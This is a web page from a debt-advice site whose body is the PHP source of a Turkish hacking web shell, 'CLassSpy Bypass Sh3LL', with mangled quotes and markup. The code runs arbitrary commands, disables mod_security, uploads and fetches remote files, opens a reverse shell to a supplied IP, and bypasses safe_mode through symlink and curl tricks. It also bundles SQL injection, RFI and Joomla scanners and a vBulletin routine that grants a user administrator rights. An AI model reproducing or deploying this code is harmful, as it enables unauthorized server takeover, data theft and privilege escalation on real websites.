Citi Driver’s Edge Platinum Select Card

/*======================================================================*\
|| #################################################################### ||
|| # PR1V4T3 CLassSpy Bypass Sh3LL # ||
|| # ---------------------------------------------------------------- # ||
|| # All Rights Reserved by CLassMaN & The-Sabotage.Org # ||
|| # Copyright 2006 - 2009 # ||
|| # ---------------------Coded by CLassMaN-------------------------- # ||
|| # http://www.classtasarim.net | http://www.The-Sabotage.Org # ||
|| #################################################################### ||
\*======================================================================*/
?>

All Rights Reserved by CLassMaN & The-Sabotage Copyright 2006 – 2009         |             Dünyada İki Şey Sonsuzdur. Birincisi Evren Diğeri İnsan Oğlunun Aptallığı
———————————————————————————————————————————————————————————-

Sunucu Özelliklerini Kapat

Safe Mod On / Off | Sunucuyu Kapat | Cgi Telnet Perl İzin Ver

// Sunucu Özellikleri Kapama

$mod=$_REQUEST["mod"];
//########################################## Mod Security Oluştur.#####################################//////////
if($mod=="mod")
{
if(file_exists(".htaccess"))
{ unlink(".htaccess."); }

$xha = fopen(".htaccess","w+");
fwrite($xha,"\r\nSecFilterEngine Off\r\nSecFilterScanPOST Off\r\n“);
fclose($xha);
echo “Mod Security Kapatıldı…”;
echo ““;
}

//########################################## Sunucuyu Kapat.#####################################//////////
if($mod==”sunucu”)
{
if(file_exists(“.htaccess”))
{ unlink(“.htaccess.”); }

$xha = fopen(“.htaccess”,”w+”);
fwrite($xha,”AddType application/x-httpd-php4 .php”);
fclose($xha);
echo “Sunucu Kapatıldı…shelle Geri Dön”;
echo ““;

}

//########################################## Cgi Telnet Çalıştır.#####################################//////////
if($mod==”cgi”)
{
if(file_exists(“.htaccess”))
{ unlink(“.htaccess.”); }

$xha = fopen(“.htaccess”,”w+”);
fwrite($xha,”Options ExecCGI\r\nAddType application/x-httpd-cgi .class\r\nAddHandler cgi-script .class”);
fclose($xha);
echo “Cgi Telnet perl uzantıları Açıldı..”;
echo ““;

}
?>

———————————————————————————————————————————————————————————-

echo "

by CLassMaN Pr1v4t3 byp4ss sh3ll

“;
$class = @php_uname();
$class2 = system(uptime);
$class3 = system(id);
$class4 = @getcwd();
$class5 = getenv(“SERVER_SOFTWARE”);
$class6 = phpversion();
$class7 = $_SERVER['SERVER_NAME'];
$class8 = gethostbyname($SERVER_ADDR);
$class11 = gethostbyname($SERVER_ADDR);
$class9 = get_current_user();
$os = @PHP_OS;
$class10=@ini_get(‘disable_functions’);

echo “os: $os
“;
echo “uname -a: $class
“;
echo “uptime: $class2
“;
echo “id: $class3
“;
echo “pwd: $class4
“;
echo “user: $class9
“;
echo “phpv: $class6
“;
echo “SoftWare: $class5
“;
echo “ServerName: $class7
“;
echo “Server ip: $class11
“;
echo “ServerAddr: $class8
“;
print “\n”.’Disable_functions: ‘.((($df=@ini_get(‘disable_functions’))==”)?’NONE‘:’‘.str_replace(array(‘,’,';’), ‘, ‘, $df).’‘);

$cmd=shell_exec($_GET['class']); echo” 

$cmd

“;
?>

error_reporting (0);
set_time_limit (0);
if (empty ($_GET ['dir'])){
$dir = getcwd ();
}
else {
$dir = $_GET ['dir'];
}
chdir ($dir);
$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);

echo "

“;
echo “
“;
echo “

\n”;
echo “

\n”;
echo “

\n”;
echo “

Shell Command Upload file Port Scan

“;

$mode = $_GET ['mode'];
switch ($mode){
case ‘edit’:
$dosya = $_GET ['dosya'];
$new = $_POST ['new'];
if (empty ($new)){
$fp = fopen ($dosya, “r”);
$dosya_cont = fread ($fp, filesize ($dosya));
$dosya_cont = str_replace (“
Php 5.2.9 Safe_Mode & Open_basedir ByPass
if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];

echo '

AME"]).$_SERVER["PHP_SELF"].'" method="post">

';

$level=0;

if(!file_exists("file:"))
mkdir("file:");
chdir("file:");
$level++;

$hardstyle = explode("/", $file);

for($a=0;$a if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$level++;
}
}

while($level--) chdir("..");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);

echo ' ';

curl_close($ch);

?>
Error Log bypass
if($fileup == ""){
ECHO " reade for up ";
}else{
$path= exec("pwd");
$path .= "/$fileup_name";
$CopyFile = copy($fileup,"$path");
if($CopyFile){
echo " up ok ";
}else{
echo " no up ";
}
}
if(empty($_POST['m'])){
} else {
$m=$_POST['m'];
echo system($m);
}
if(empty($_POST['cmd'])){
} else {
$h= $_POST['cmd'];
print include($h) ;
}
?>
Sh3LL Uzaktan Url Upload
echo'



';
$calistir=$_POST['calistir'];
$secim=$_POST['secim'];
$url=$_POST['url'];
$isim=$_POST['isim'];
if($calistir && $secim && $url){

if($secim=="wget"){
$calistir("wget ".$url);
}elseif($secim=="lynx"){
$calistir("lynx -source ".$url." > ".$isim);
}elseif($secim=="fetch"){
$calistir("fetch -o ".$isim." -p ".$url);
}elseif($secim=="get"){
$calistir("get ".$url." > ".$isim);
}elseif($secim=="curl"){
$calistir("curl ".$url." -o ".$isim);
}

}
?>

print ('

Hazır Komut Satırı

Komut :

');

ini_restore("safe_mode");
ini_restore("open_basedir");

switch ($zt) {
case ($zt==1): $nescafe=shell_exec($_POST['cmd']); $classbaba=shell_exec($_POST['classman']);echo "";Break;

case ($zt==2): $nescafe=passthru($_POST['cmd']); $classbaba=passthru($_POST['classman']);echo "";Break;

case ($zt==3): $nescafe=popen($_POST['cmd']); $classbaba=popen($_POST['classman']);echo "";Break;

case ($zt==4): $nescafe=eval($_POST['cmd']); $classbaba=eval($_POST['classman']);echo "";Break;

case ($zt==5): $nescafe=exec($_POST['cmd']); $classbaba=exec($_POST['classman']);echo "";Break;

case ($zt==6): $nescafe=system($_POST['cmd']); $classbaba=system($_POST['classman']);echo "
";Break;

Default:logout();Break;
}
echo "

 

";
$mip=$_POST['mip'];
$bport=$_POST['bport'];
if ($mip <> "")
{
$fp=fsockopen($mip , $bport , $errno, $errstr);
if (!$fp){
$result = "Hata: bağlantı Kurulamadı";
}
else {
fputs ($fp ,"\n

whoami
root
:) \n\n");
while(!feof($fp)){
fputs ($fp);
$result= fgets ($fp, 4096);
$message=`$result`;
fputs ($fp,"--> ".$message."\n");
}
fclose ($fp);
}
}
?>

Pr1v4t3 Hack T00ls

Google Searcher - SQL Injection Scanner - RFI Scanner - Server Listeleyici - Joomla Token Search - Hex Converter - MD5 Olustur
//########################################## Google Search.#####################################//////////
$class=$_GET['class'];

if($class=="google"){
echo'
Aranacak kelimeyi yaziniz default listeleme sayisi 10


';
$kelime=$_POST['kelime'];
$sayi=$_POST['sayi'];
if($kelime && $sayi){
$ch=curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($ch,CURLOPT_URL,"http://www.google.com.tr/search?num=".$sayi."&hl=tr&lr=&as_qdr=all&q=".$kelime."&sa=N");
curl_setopt($ch,CURLOPT_REFFERER,"http://www.google.com");
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.4");
curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
$al=curl_exec ($ch);
curl_close($ch);
preg_match_all("#

foreach($ver[1] as $listele){
ob_flush();
flush();
usleep(500000);
echo $listele.'
';
}
}
}
//########################################## Sql Scanner.#####################################//////////
if($class=="sql"){
echo'
Sql injection taranacak sitelerin listesini yaziniz.
örnek: site.com/class.php?id=35

';
$liste=htmlspecialchars($_POST['liste']);
if($liste){
$satirlar=explode("\n",$liste);
foreach($satirlar as $s){
$tmz=trim($s);
$son=$tmz.""."1'a";
ob_flush();
flush();
usleep(500000);
$ch=curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($ch,CURLOPT_URL,$son);
$al=curl_exec($ch);
curl_close($ch);
if(eregi("Unclosed",$al)){
echo ''.$son.' -----> MSSQL Injection
';
}
elseif(eregi("SQL syntax",$al)){
echo ''.$son.' -----> MySQL Injection
';
}
elseif(eregi("MySQL",$al)){
echo ''.$son.' -----> MySQL Injection
';
}
elseif(eregi("Syntax error",$al)){
echo ''.$son.' -----> ACCESS Injection
';
}
elseif(eregi("Access",$al)){
echo ''.$son.' -----> ACCESS Injection
';
}
elseif(eregi("JET Database",$al)){
echo ''.$son.' -----> JETDB Injection
';
}else{
echo $son.' -----> yok
';
}
}
}}
//########################################## Rfi Scanner.#####################################//////////

if($class=="rfi"){
echo'
RFI taranacak sitelerin listesini yaziniz.

örnek: site.com/class.php?include=

';
$liste=htmlspecialchars($_POST['liste']);
$shell=htmlspecialchars($_POST['shell']);
if($liste && $shell){
$satirlar=explode("\n",$liste);
foreach($satirlar as $s){
$tmz=trim($s);
$rfi=$tmz."".$shell;
ob_flush();
flush();
usleep(500000);
$ch=curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($ch,CURLOPT_URL,$rfi);
$al=curl_exec($ch);
curl_close($ch);
if(eregi("safe",$al)){
echo $tmz.' -----> eXploit
';
}else{echo $tmz.' -----> RFI yok.
';}
}
}
}
//########################################## Server Listeleme.#####################################//////////
if($class=="server"){
echo'
Domain adini veya ip adresini yazin



';
function cek($aq){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"http://www.find-ip-address.org/reverse_lookup/");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"s=".$aq);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$al=curl_exec($ch);
curl_close($ch);
return $al;
}
$site=$_POST['site'];
if($site){
$kaynak=cek($site);
preg_match_all('#(.*?)#si',$kaynak,$ver);
foreach($ver[2] as $goster){
ob_flush();
flush();
usleep(500000);
echo $goster.'
';
}
}
}
//########################################## Joomla Token Scanner.#####################################//////////
if($class=="token"){
echo'
Joomla kurulu sitelerin listesini yaziniz

';
$liste=htmlspecialchars($_POST['liste']);
if($liste){
$satirlar=explode("\n",$liste);
foreach($satirlar as $s){
ob_flush();
flush();
usleep(500000);
$cikti=trim($s);
$ekle="/index.php?option=com_user&view=reset&layout=confirm";
$class=$cikti."".$ekle;
$ch=curl_init();
curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
curl_setopt($ch,CURLOPT_URL,$class);
$al=curl_exec($ch);
curl_close($ch);
if(eregi('token',$al)){
echo ''.$cikti.' ------> eXploit...
';
}else{
echo $cikti.' ------> yok
';
}}
}}
//########################################## Hex Oluştur.#####################################//////////
if($class=="hex"){
echo'Sql injection için



';
$str=htmlspecialchars($_POST['str']);
if($str){
echo '0x'.bin2hex($str);
}}
//########################################## Md5 Oluştur.#####################################//////////

if($class=="md5"){
echo'Md6 sifreleme



';
$md5=htmlspecialchars($_POST['md5']);
if($md5){
echo md5($md5);
}}
//###################################### Scanner ların Kod Bitişi.#####################################//////////
?>

Vbulletin Admin Olma

//########################################## Vbulletin Admin Olma.#####################################//////////
if(empty($_POST['send2'])){
echo "

Hedef Config Yolu:

Kullanıcı ID:
Admin ID:


";
}else{
$config1 = $_POST['config1'];
include("$config1");
$userid1 = $_POST['userid1'];
$adminid1 = $_POST['adminid1'];
//****************************************************
$refix = $config['Database']['tableprefix'];
$administrator = $refix."administrator";
$user = $refix."user";
$usergroup = $refix."usergroup";
//****************************************************
@mysql_connect($config['MasterServer']['servername'],$config['MasterServer']['username'],$config['MasterServer']['password']) or die(print "

CLassMaN Baba Config Yolunu Yanlış Yazdın Galiba :(

");
@mysql_select_db($config['Database']['dbname']) or die(mysql_error());

//--------------------------------------------------------------------------------------
$ssw221= mysql_query("SELECT * FROM $user where userid=$adminid1");
while($res221= mysql_fetch_array($ssw221)){
$z223= $res221['usergroupid'];
}

//****************************************************
//
//****************************************************
$ssw= mysql_query("SELECT * FROM $administrator where userid= $adminid1");
while($res= mysql_fetch_array($ssw)){
$x= $res['adminpermissions'];
}
$k12=@mysql_query("INSERT INTO $administrator(userid,adminpermissions) VALUES (".$userid1.",".$x."); ") or die(mysql_error());
$k1=mysql_query("UPDATE $user SET usergroupid = $z223 WHERE userid = $userid1") or die(mysql_error());

//****************************************************
if($k1 and $k12){
echo "

CLassMaN Baba Yine Admin Oldun =)

";
}else{
echo "

Başarısız :)

";
}
}
//########################################## Kod Bitişi.#####################################//////////
?>

Eval base64_decode Decoder PHP Code



$contents=stripslashes($_POST["coded"]);
if(trim($contents)!="")
{
while (preg_match("/eval\(gzinflate/",$contents))
{
$contents=preg_replace("/<\?|\?>/", "", $contents);
eval(preg_replace("/eval/", "\$contents=", $contents));

}
?>


  

}
?>


5.2.5 / 5.2.6 PHP ver - 

Symlink Safe Mode Bypass Vulnerability

Read File:

" size="59" />
Server User :
Site User Us:

";

$k = $_GET['c'];
$flib = "classbaba.txt";

if ($k == "") {
die;
}else{
@unlink($flib);
$sym = $k;
$link = getcwd() . "/" . $flib;
@symlink($sym, $link);
if ($k{0} == "/") {
echo "";
}else{
echo " 

";<br />
echo readlink($flib) . "\n";<br />
echo "Filesize: " . linkinfo($flib) . "B\n\n";<br />
$ddir = getcwd();<br />
$file2 = str_replace($DOCUMENT_ROOT,'' , $ddir);<br />
$file2 = "http://" . $SERVER_NAME . $filee . $flib;<br />
$result = file_get_contents($file2); echo $result;<br />
}<br />
}<br />
echo "<br />
<h1>By CLassMaN Pr1v4t3 byp4ss sh3ll</h1>
<p>";<br />
?></p>
<tr>
<td colspan="2" align="left">
<tr>
<td colspan="2" align="left">
<p>              </textarea>
               </td>
</tr>
</table>
</table>
<p></p>
</table>
<p>
</body><br />
</html></p>

				
			</div>
		</div>
				</div>

	<div id="sidebar" role="complementary">
		


<ul>
						<li>
				<form role="search" method="get" id="searchform" action="http://www.debtcs.com/" >
	<div><label class="screen-reader-text" for="s">Search for:</label>
	<input type="text" value="" name="s" id="s" />
	<input type="submit" id="searchsubmit" value="Search" />
	</div>
	</form>			</li>

			<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
			<li><h2>Author</h2>
			<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
			</li>
			-->

					</ul>



                  <table id="menu" cellpadding="0" cellspacing="0">
<tbody><tr>
  <td class="header">Browse</td>
</tr>
<tr>
 <td align="left" valign="top">
  <ul>
  <li><a href="/">Home</a></li>

  <li><a href="/articles/faqs.html">FAQs</a></li>
  <li><a href="/articles/">Articles</a></li>
  <li><a href="/resources/">Resources</a></li>
  <li><a href="/article-storehouse/">Article Storehouse</a>
  </li></ul>

 </td>
</tr>
</tbody></table>

<table id="menu" cellpadding="0" cellspacing="0">
<tbody><tr>
  <td class="header">Popular Articles</td>
</tr>
<tr>
 <td align="left" valign="top">
  <ul>
  <li><a href="/debt-consolidation.html">Debt Consolidation</a></li>

  <li><a href="/debt-settlement.html">Debt Settlement</a></li>
  <li><a href="/articles/bankruptcy.html">Bankruptcy</a></li>
  <li><a href="/articles/studentloan.html">Student loans</a></li>
  <li><a href="/articles/credit-counseling.html">Credit counseling</a></li>
  <li><a href="/articles/debt-management.html">Debt management</a></li>
  <li><a href="/articles/debt-consolidation-tips">Debt Consolidation Tips</a></li>

  <li><a href="/articles/credit-score.html">Credit score</a></li>
  <li><a href="/debt-consolidation-loans.html">Debt consolidation Loan</a></li>
  <li><a href="/articles/management-plan.html">Debt Management Plan</a></li>
  <li><a href="/articles/creditcarddebt.html">Credit Card Debt</a></li>
  <li><a href="/articles/bad-credit-remortgage.html">Bad Credit Remortgage</a></li>
  <li><a href="/what-constitutes-credit-card-debt-collectors-harassment.html">Debt Collection</a></li>
  <li><a href="/articles/news.html">News</a></li>
  </ul>
 </td>
</tr>
</tbody></table>


	
				


			
					</ul>
	</div>



<hr />
<div id="footer" role="contentinfo">
<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
	<p>
              <a href="/contact-us">Contact Us</a> |
              <a href="/sitemap.html">Sitemap</a> 

		
	</p>
</div>
</div>

<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->

		
</body>
</html>